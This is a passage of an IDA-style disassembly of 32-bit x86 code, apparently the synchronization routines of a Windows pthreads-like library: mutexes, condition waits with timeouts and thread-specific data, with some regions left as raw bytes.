edi cmp dword ptr [esi], 0 jz short loc_430232 pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430241: ; CODE XREF: ___:004301F9j ; ___:00430201j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430270 proc near ; CODE XREF: sub_4012E4j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 sub_430270 endp ; --------------------------------------------------------------------------- db 8Bh, 0F0h, 83h dd 0F68504C4h, 88E87675h, 8BFFFD18h, 74F685F0h, 7C7E8B5Bh dd 1B8h, 53F80B00h, 897C7E89h, 0E8902046h, 2300A3Eh, 0F8701D8Bh dd 26A0050h, 6A047E8Dh, 57006A00h, 0D3FF0689h, 76AE850h dd 50900233h, 0E850D3FFh, 230FD34h, 5BC08590h, 0E8560E75h dd 0FFFD18E5h, 3304C483h, 0C35E5FC0h, 0E8510F8Bh, 23102EDh dd 28468990h, 0E3E8158Bh, 52560050h, 0FD1DE2E8h, 8C483FFh dd 5E5FC68Bh, 909090C3h, 3 dup(90909090h), 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430340 proc near ; CODE XREF: sub_401A50j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] cmp eax, ecx jnz short loc_43035E test eax, eax jz short loc_430358 mov eax, [eax] mov edx, [ecx] cmp eax, edx jnz short loc_43035E loc_430358: ; CODE XREF: sub_430340+Ej mov eax, 1 retn ; --------------------------------------------------------------------------- loc_43035E: ; CODE XREF: sub_430340+Aj ; sub_430340+16j xor eax, eax retn sub_430340 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430380: ; CODE XREF: ___:00401FF0j mov eax, [esp+4] test eax, eax jge short loc_43038E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_43038E: ; CODE XREF: ___:00430386j mov dword_50E3F8, eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4303B0: ; CODE XREF: ___:0040155Aj mov eax, dword_50E3F8 retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4303D0 proc near ; CODE XREF: sub_401B13j push esi call sub_401307 mov esi, eax test esi, esi jnz short loc_4303F2 push 84h push 1 call near ptr 77C2C0C3h nop mov esi, eax add esp, 8 test esi, esi jz short loc_430439 loc_4303F2: ; CODE XREF: sub_4303D0+Aj push 0 push 0 or eax, 0FFFFFFFFh push 1 push 0 mov dword ptr [esi+28h], 0 mov dword ptr [esi+20h], 0 mov dword ptr [esi+30h], 0 mov dword ptr [esi+34h], 1 mov [esi+2Ch], eax mov [esi+24h], eax call near ptr 273098Fh nop test eax, eax mov [esi+38h], eax jnz short loc_430439 push esi call sub_401BBD add esp, 4 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_430439: ; CODE XREF: sub_4303D0+20j ; sub_4303D0+5Aj mov eax, esi pop esi retn sub_4303D0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430460 proc near ; CODE XREF: sub_401307j push esi push offset dword_50E900 call near ptr 7C901005h nop mov esi, dword_44574C cmp esi, 1 jz short loc_430495 mov eax, [esi+8] push offset dword_50E900 mov dword_44574C, eax mov dword ptr [esi+8], 0 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_430495: ; CODE XREF: sub_430460+15j push offset dword_50E900 xor esi, esi nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_430460 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4304D0 proc near ; CODE XREF: sub_401BBDj arg_0 = dword ptr 4 push edi push offset dword_50E900 call near ptr 7C901005h nop mov edx, [esp+4+arg_0] mov ecx, 21h xor eax, eax mov edi, edx rep stosd mov eax, dword_44574C push offset dword_50E900 mov [edx+8], eax mov dword_44574C, edx nop call near ptr 7C9010EDh pop edi retn sub_4304D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430520 proc near ; CODE XREF: sub_401640j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0FFFFFFFFh push eax call sub_430540 sub_430520 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430540 proc near ; CODE XREF: sub_430520+7p ; sub_430660+Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 sub esp, 8 mov eax, [esp+8+arg_0] push esi push edi mov edi, 1 mov [esp+10h+var_8], eax call sub_4012E4 sub_430540 endp ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jz short loc_430576 mov eax, [esi+30h] test eax, eax jnz short loc_43057E mov eax, [esi+38h] test eax, eax mov [esp+0Ch], eax jz short loc_43057E mov edi, 2 jmp short loc_43057E ; --------------------------------------------------------------------------- loc_430576: ; CODE XREF: ___:0043055Bj mov dword ptr [esp+0Ch], 0 loc_43057E: ; CODE XREF: ___:00430562j ; ___:0043056Dj ... mov ecx, [esp+18h] lea edx, [esp+8] push ecx push 0 push edx push edi call near ptr 2730825h nop mov ecx, eax sub ecx, 0 jz short loc_430609 dec ecx jz short loc_4305B4 sub eax, 102h pop edi neg eax sbb eax, eax pop esi and eax, 0FFFFD8CAh add eax, 274Ch add esp, 8 retn ; --------------------------------------------------------------------------- loc_4305B4: ; CODE XREF: ___:00430599j mov eax, [esp+0Ch] push eax nop call near ptr 275059Fh test esi, esi jz short loc_4305FE lea edi, [esi+2Ch] push edi call sub_402225 mov ecx, [esi+0Ch] mov eax, 3 add esp, 4 cmp ecx, eax jge short loc_4305F5 push edi mov [esi+0Ch], eax mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4305F5: ; CODE XREF: ___:004305D9j push edi call sub_4010C3 add esp, 4 loc_4305FE: ; CODE XREF: ___:004305C1j pop edi mov eax, 16h pop esi add esp, 8 retn ; --------------------------------------------------------------------------- loc_430609: ; CODE XREF: ___:00430596j pop edi xor eax, eax pop esi add esp, 8 retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_430660 proc near ; CODE XREF: sub_401D70j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_430540 sub_430660 endp ; --------------------------------------------------------------------------- add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430690 proc near ; CODE XREF: sub_401C03j arg_0 = dword ptr 4 push esi push offset dword_50E960 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_4306C4 push esi push ecx call sub_402199 add esp, 8 mov esi, eax push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4306C4: ; CODE XREF: sub_430690+17j test eax, eax jnz short loc_4306CD mov esi, 16h loc_4306CD: ; CODE XREF: sub_430690+36j push offset dword_50E960 call near ptr 7C9010EDh nop mov eax, esi pop esi retn sub_430690 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430700 proc near ; CODE XREF: sub_402199j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebp xor ebp, ebp push edi test eax, eax jnz short loc_430714 pop edi mov eax, 16h pop ebp retn ; --------------------------------------------------------------------------- loc_430714: ; CODE XREF: sub_430700+Aj mov edi, [esp+8+arg_4] test edi, edi jz short loc_43072F mov eax, [edi] test eax, eax jz short loc_43072F cmp dword ptr [eax], 1 jnz short loc_43072F pop edi mov eax, 28h pop ebp retn ; --------------------------------------------------------------------------- loc_43072F: ; CODE XREF: sub_430700+1Aj ; sub_430700+20j ... push esi push 2Ch push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jnz short loc_430754 mov edx, [esp+0Ch+arg_0] mov ebp, 0Ch mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_430754: ; CODE XREF: sub_430700+41j test edi, edi mov dword ptr [esi], 0FFFFFFFFh mov dword ptr [esi+4], 0 jz short loc_430770 mov edi, [edi] test edi, edi jz short loc_430770 mov edi, [edi+4] jmp short loc_430772 ; --------------------------------------------------------------------------- loc_430770: ; CODE XREF: sub_430700+63j ; sub_430700+69j xor edi, edi loc_430772: ; CODE XREF: sub_430700+6Ej push 0 lea eax, [esi+10h] push 0 push eax mov [esi+8], edi mov dword ptr [esi+0Ch], 0 call sub_401C76 add esp, 0Ch test eax, eax jz short loc_4307AD push esi mov ebp, 0Bh nop call near ptr 77C2C21Bh mov edx, [esp+10h+arg_0] add esp, 4 xor esi, esi mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn ; --------------------------------------------------------------------------- loc_4307AD: ; CODE XREF: sub_430700+8Ej lea ecx, [esi+14h] push ecx nop call near ptr 27606B3h mov edx, [esp+0Ch+arg_0] mov eax, ebp mov [edx], esi pop esi pop edi pop ebp retn sub_430700 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430810 proc near ; CODE XREF: sub_40222Fj arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi test edi, edi jz loc_4308F0 mov eax, [edi] test eax, eax jz loc_4308F0 cmp eax, 0FFFFFFFFh jz loc_4308B5 mov [esp+8+arg_0], eax lea eax, [esp+8+arg_0] push eax call sub_40177B mov esi, eax add esp, 4 test esi, esi jnz loc_4308EB mov ecx, [esp+8+arg_0] mov eax, [ecx+4] cmp eax, 1 jnz short loc_4308A7 lea ecx, [esp+8+arg_0] mov [edi], esi push ecx call sub_4010C3 mov edx, [esp+0Ch+arg_0] mov esi, eax add esp, 4 test esi, esi jnz short loc_4308A0 add edx, 10h push edx call sub_401686 mov eax, [esp+0Ch+arg_0] add esp, 4 add eax, 14h push eax nop call near ptr 2760000h mov ecx, [esp+8+arg_0] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A0: ; CODE XREF: sub_430810+61j mov [edi], edx mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308A7: ; CODE XREF: sub_430810+48j dec eax mov esi, 10h mov [ecx+4], eax mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308B5: ; CODE XREF: sub_430810+1Dj push offset dword_50E960 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_4308DB push offset dword_50E960 mov dword ptr [edi], 0 nop call near ptr 7C9010EDh mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308DB: ; CODE XREF: sub_430810+B3j push offset dword_50E960 mov esi, 10h call near ptr 7C9010EDh nop loc_4308EB: ; CODE XREF: sub_430810+38j mov eax, esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4308F0: ; CODE XREF: sub_430810+Aj ; sub_430810+14j pop edi mov eax, 16h pop esi retn sub_430810 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430940 proc near ; CODE XREF: sub_401A0Fj arg_0 = dword ptr 4 push esi push 8 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 cmp eax, esi jnz short loc_430963 mov edx, [esp+4+arg_0] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_430963: ; CODE XREF: sub_430940+12j mov ecx, [esp+4+arg_0] mov [eax], esi mov [eax+4], esi mov [ecx], eax mov eax, esi pop esi retn sub_430940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430990 proc near ; CODE XREF: sub_4010AAj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi test ecx, ecx jz short loc_4309B1 mov eax, [ecx] test eax, eax jz short loc_4309B1 push eax mov [ecx], esi call near ptr 77C2C21Bh nop add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_4309B1: ; CODE XREF: sub_430990+9j ; sub_430990+Fj mov eax, 16h pop esi retn sub_430990 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4309D0: ; CODE XREF: ___:00401BA9j mov eax, [esp+4] test eax, eax jz short loc_4309ED mov eax, [eax] test eax, eax jz short loc_4309ED mov ecx, [esp+8] test ecx, ecx jz short loc_4309ED mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_4309ED: ; CODE XREF: ___:004309D6j ; ___:004309DCj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_430A10: ; CODE XREF: ___:004018F7j mov eax, [esp+4] test eax, eax jz short loc_430A3A mov ecx, [eax] test ecx, ecx jz short loc_430A3A mov eax, [esp+8] cmp eax, 1 jz short loc_430A2E test eax, eax jnz short loc_430A3A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_430A2E: ; CODE XREF: ___:00430A25j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_430A3A: ; CODE XREF: ___:00430A16j ; ___:00430A1Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A50 proc near ; CODE XREF: sub_40119Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430A71 mov ecx, [ecx] test ecx, ecx jz short loc_430A71 mov edx, [esp+arg_4] test edx, edx jl short loc_430A71 cmp edx, 2 jg short loc_430A71 mov [ecx+4], edx retn ; --------------------------------------------------------------------------- loc_430A71: ; CODE XREF: sub_430A50+8j ; sub_430A50+Ej ... mov eax, 16h retn sub_430A50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430A90 proc near ; CODE XREF: sub_4018C0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] xor eax, eax test ecx, ecx jz short loc_430AAE mov ecx, [ecx] test ecx, ecx jz short loc_430AAE mov edx, [esp+arg_4] test edx, edx jz short loc_430AAE mov ecx, [ecx+4] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_430AAE: ; CODE XREF: sub_430A90+8j ; sub_430A90+Ej ... mov eax, 16h retn sub_430A90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430AD0 proc near ; CODE XREF: sub_402225j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz loc_430B87 mov eax, [esi] test eax, eax jz loc_430B87 cmp eax, 0FFFFFFFFh jnz short loc_430B01 push esi call sub_401C03 mov edi, eax add esp, 4 test edi, edi jz short loc_430B01 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B01: ; CODE XREF: sub_430AD0+1Dj ; sub_430AD0+2Cj mov esi, [esi] push esi call near ptr 2740531h nop test eax, eax jnz short loc_430B2A loc_430B0E: ; CODE XREF: sub_430AD0+A8j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430B22 call sub_4012E4 ; --------------------------------------------------------------------------- loc_430B22: ; CODE XREF: sub_430AD0+4Bj mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B2A: ; CODE XREF: sub_430AD0+3Cj mov eax, [esi+8] test eax, eax jz short loc_430B6A call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0F10h, 8508C483h, 562374C0h, 0FBE1E890h dd 7E830231h, 0C750108h, 4004468Bh, 8B044689h, 0C35E5FC7h dd 24BFh, 5FC78B00h ; --------------------------------------------------------------------------- pop esi retn ; --------------------------------------------------------------------------- loc_430B6A: ; CODE XREF: sub_430AD0+5Fj lea ecx, [esi+10h] push ecx call sub_430BC0 add esp, 4 test eax, eax jz short loc_430B0E call near ptr 77C1F2BCh nop mov edi, [eax] mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_430B87: ; CODE XREF: sub_430AD0+Aj ; sub_430AD0+14j pop edi mov eax, 16h pop esi retn sub_430AD0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430BC0 proc near ; CODE XREF: sub_430AD0+9Ep arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jz short loc_430BDA mov eax, [eax] push 0FFFFFFFFh mov ecx, [eax] push ecx nop call near ptr 2750455h test eax, eax jnz short loc_430BDA retn ; --------------------------------------------------------------------------- loc_430BDA: ; CODE XREF: sub_430BC0+6j ; sub_430BC0+17j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h or eax, 0FFFFFFFFh retn sub_430BC0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430C00 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebp push esi mov esi, [esp+8+arg_0] xor ebp, ebp test esi, esi jz loc_430D98 mov eax, [esi] test eax, eax jz loc_430D98 cmp eax, 0FFFFFFFFh jnz short loc_430C31 push esi call sub_401C03 mov ebp, eax add esp, 4 test ebp, ebp jz short loc_430C31 pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C31: ; CODE XREF: sub_430C00+1Dj ; sub_430C00+2Cj mov esi, [esi] push ebx push edi push esi call near ptr 2740531h nop test eax, eax jnz short loc_430C62 loc_430C40: ; CODE XREF: sub_430C00+175j mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- pop edi mov [esi+0Ch], eax pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430C62: ; CODE XREF: sub_430C00+3Ej mov eax, [esi+8] test eax, eax jz short loc_430CA6 call sub_4012E4 ; --------------------------------------------------------------------------- dw 8B50h dd 0E8500C46h, 0FFFD0DD8h, 8508C483h, 562774C0h, 0FAA9E890h dd 7E830231h, 0E750108h, 5F04468Bh, 46895B40h, 5EC58B04h dd 24BDC35Dh, 5F000000h, 5EC58B5Bh ; --------------------------------------------------------------------------- pop ebp retn ; --------------------------------------------------------------------------- loc_430CA6: ; CODE XREF: sub_430C00+67j mov eax, [esp+10h+arg_4] test eax, eax jnz short loc_430CBA mov ebp, 16h pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CBA: ; CODE XREF: sub_430C00+ACj lea edi, [esi+10h] push eax push edi call sub_430E10 add esp, 8 sub eax, 0 jz loc_430D7A dec eax jz short loc_430D44 dec eax jz short loc_430CE5 nop call near ptr 77C1F2BCh mov ebp, [eax] pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430CE5: ; CODE XREF: sub_430C00+D4j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi mov ebp, 274Ch call sub_4010A5 add esp, 4 cmp eax, 0FFFFFFFFh push esi jnz short loc_430D17 nop call near ptr 275072Fh push ebx call near ptr 7C9010EDh nop pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D17: ; CODE XREF: sub_430C00+101j nop call near ptr 275072Fh test eax, eax jl short loc_430D36 push edi call sub_40103C add esp, 4 test eax, eax jz short loc_430D36 call near ptr 77C1F2BCh nop mov ebp, [eax] loc_430D36: ; CODE XREF: sub_430C00+11Fj ; sub_430C00+12Cj push ebx nop call near ptr 7C9010EDh pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D44: ; CODE XREF: sub_430C00+D1j lea ebx, [esi+14h] push ebx nop call near ptr 7C901005h push edi call sub_4010A5 mov edi, eax add esp, 4 cmp edi, 0FFFFFFFFh jnz short loc_430D6A push esi nop call near ptr 275072Fh mov ebp, 274Ch loc_430D6A: ; CODE XREF: sub_430C00+15Cj push ebx nop call near ptr 7C9010EDh test edi, edi jnz short loc_430D91 jmp loc_430C40 ; --------------------------------------------------------------------------- loc_430D7A: ; CODE XREF: sub_430C00+CAj mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_430D8E call sub_4012E4 ; --------------------------------------------------------------------------- loc_430D8E: ; CODE XREF: sub_430C00+4Dj ; sub_430C00+187j mov [esi+0Ch], eax loc_430D91: ; CODE XREF: sub_430C00+173j pop edi pop ebx mov eax, ebp pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_430D98: ; CODE XREF: sub_430C00+Aj ; sub_430C00+14j pop esi mov eax, 16h pop ebp retn sub_430C00 endp ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430E10 proc near ; CODE XREF: sub_430C00+BFp var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 0Ch push esi push edi mov edi, [esp+14h+arg_0] test edi, edi jz loc_430EAE mov esi, [esp+14h+arg_4] test esi, esi jnz short loc_430E42 or eax, 0FFFFFFFFh loc_430E2C: ; CODE XREF: sub_430E10+7Fj push eax mov eax, [edi] mov ecx, [eax] push ecx nop call near ptr 2750455h test eax, eax jnz short loc_430E9C pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E42: ; CODE XREF: sub_430E10+17j lea eax, [esp+14h+var_C] push eax nop call near ptr 77C49113h mov ecx, [esi+4] mov eax, 431BDE83h add ecx, 7A120h add esp, 4 mul ecx mov eax, [esi] mov ecx, [esp+14h+var_C] shr edx, 12h lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] lea eax, [eax+eax*4] lea ecx, [ecx+ecx*4] shl ecx, 3 lea eax, [edx+eax*8] mov edx, [esp+14h+var_8] sub eax, ecx and edx, 0FFFFh sub eax, edx jns short loc_430E2C pop edi mov eax, 2 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430E9C: ; CODE XREF: sub_430E10+2Aj cmp eax, 102h jnz short loc_430EAE pop edi mov eax, 1 pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_430EAE: ; CODE XREF: sub_430E10+Bj ; sub_430E10+91j nop call near ptr 77C1F2BCh mov dword ptr [eax], 16h pop edi or eax, 0FFFFFFFFh pop esi add esp, 0Ch retn sub_430E10 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430F00 proc near ; CODE XREF: sub_4010C3j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push ebx xor ebx, ebx push esi cmp eax, ebx jz loc_430FA0 mov esi, [eax] cmp esi, ebx jz loc_430FA0 cmp esi, 0FFFFFFFFh push edi jz short loc_430F95 mov eax, [esi+0Ch] mov edi, 1 cmp eax, edi jz short loc_430F4A call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jnz short loc_430F4A mov ebx, edi pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F4A: ; CODE XREF: sub_430F00+2Aj ; sub_430F00+40j cmp [esi+8], edi jnz short loc_430F58 mov eax, [esi+4] dec eax mov [esi+4], eax jnz short loc_430F9A loc_430F58: ; CODE XREF: sub_430F00+4Dj lea edi, [esi+14h] mov [esi+0Ch], ebx push edi nop call near ptr 7C901005h push esi nop call near ptr 275072Fh test eax, eax jl short loc_430F88 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_430F88 nop call near ptr 77C1F2BCh mov ebx, [eax] loc_430F88: ; CODE XREF: sub_430F00+6Ej ; sub_430F00+7Ej push edi call near ptr 7C9010EDh nop pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430F95: ; CODE XREF: sub_430F00+1Ej mov ebx, 16h loc_430F9A: ; CODE XREF: sub_430F00+56j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_430FA0: ; CODE XREF: sub_430F00+Aj ; sub_430F00+14j pop esi mov eax, 16h pop ebx retn sub_430F00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_430FE0 proc near ; CODE XREF: sub_40177Bj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi xor edi, edi test esi, esi jz short loc_431065 mov eax, [esi] test eax, eax jz short loc_431065 cmp eax, 0FFFFFFFFh jnz short loc_431002 push esi call sub_401C03 add esp, 4 mov edi, eax loc_431002: ; CODE XREF: sub_430FE0+15j mov esi, [esi] test edi, edi jnz short loc_431060 push 0FFFFFFFFh push edi push esi call dword_50E3FC ; InterlockedCompareExchange cmp eax, 0FFFFFFFFh jnz short loc_431033 mov ecx, [esi+8] mov eax, 1 test ecx, ecx mov [esi+4], eax jz short loc_43102B call sub_4012E4 ; --------------------------------------------------------------------------- loc_43102B: ; CODE XREF: sub_430FE0+44j mov [esi+0Ch], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431033: ; CODE XREF: sub_430FE0+35j cmp dword ptr [esi+8], 1 jnz short loc_43105B call sub_4012E4 ; --------------------------------------------------------------------------- push eax mov eax, [esi+0Ch] push eax call sub_401A50 add esp, 8 test eax, eax jz short loc_43105B mov eax, [esi+4] inc eax mov [esi+4], eax mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_43105B: ; CODE XREF: sub_430FE0+57j ; sub_430FE0+6Dj mov edi, 10h loc_431060: ; CODE XREF: sub_430FE0+26j mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_431065: ; CODE XREF: sub_430FE0+Aj ; sub_430FE0+10j pop edi mov eax, 16h pop esi retn sub_430FE0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310A0: ; CODE XREF: ___:0040192Ej mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_40119A add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_4310D0: ; CODE XREF: ___:00401587j mov eax, [esp+8] mov ecx, [esp+4] push eax push ecx call sub_4018C0 add esp, 8 retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431100: ; CODE XREF: ___:0040148Dj mov eax, [esp+4] test eax, eax jz short loc_43110C mov eax, [eax+4] retn ; --------------------------------------------------------------------------- loc_43110C: ; CODE XREF: ___:00431106j xor eax, eax retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_431120: ; CODE XREF: ___:00401BFEj mov eax, [esp+4] push esi test eax, eax push edi jnz short loc_431132 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_431132: ; CODE XREF: ___:00431128j mov esi, [eax] test esi, esi jnz short loc_431155 mov ecx, [eax+4] test ecx, ecx jnz short loc_431155 call sub_401CEE ; --------------------------------------------------------------------------- dd 0BC1E856h, 0E890023Eh, 0FFFD0B9Eh, 5EC0335Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_431155: ; CODE XREF: ___:00431136j ; ___:0043113Dj mov ecx, [eax+4] mov eax, 431BDE83h add ecx, 0F423Fh imul ecx sar edx, 12h mov eax, edx shr eax, 1Fh add edx, eax lea eax, [esi+esi*4] lea eax, [eax+eax*4] lea ecx, [eax+eax*4] lea edi, [edx+ecx*8] call sub_4012E4 ; --------------------------------------------------------------------------- mov esi, eax test esi, esi jnz short loc_43118E pop edi mov eax, 0Ch pop esi retn ; --------------------------------------------------------------------------- loc_43118E: ; CODE XREF: ___:00431184j mov eax, [esi+30h] push edi test eax, eax jnz short loc_4311F6 mov edx, [esi+38h] push edx nop call near ptr 2750455h test eax, eax jnz short loc_4311E7 lea edi, [esi+2Ch] push edi call sub_402225 mov eax, [esi+0Ch] add esp, 4 cmp eax, 3 jge short loc_4311D6 push edi mov dword ptr [esi+0Ch], 3 mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- add esp, 8 loc_4311D6: ; CODE XREF: ___:004311B6j push edi call sub_4010C3 add esp, 4 mov eax, 3 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4311E7: ; CODE XREF: ___:004311A2j cmp eax, 102h jz short loc_4311FC pop edi mov eax, 16h pop esi 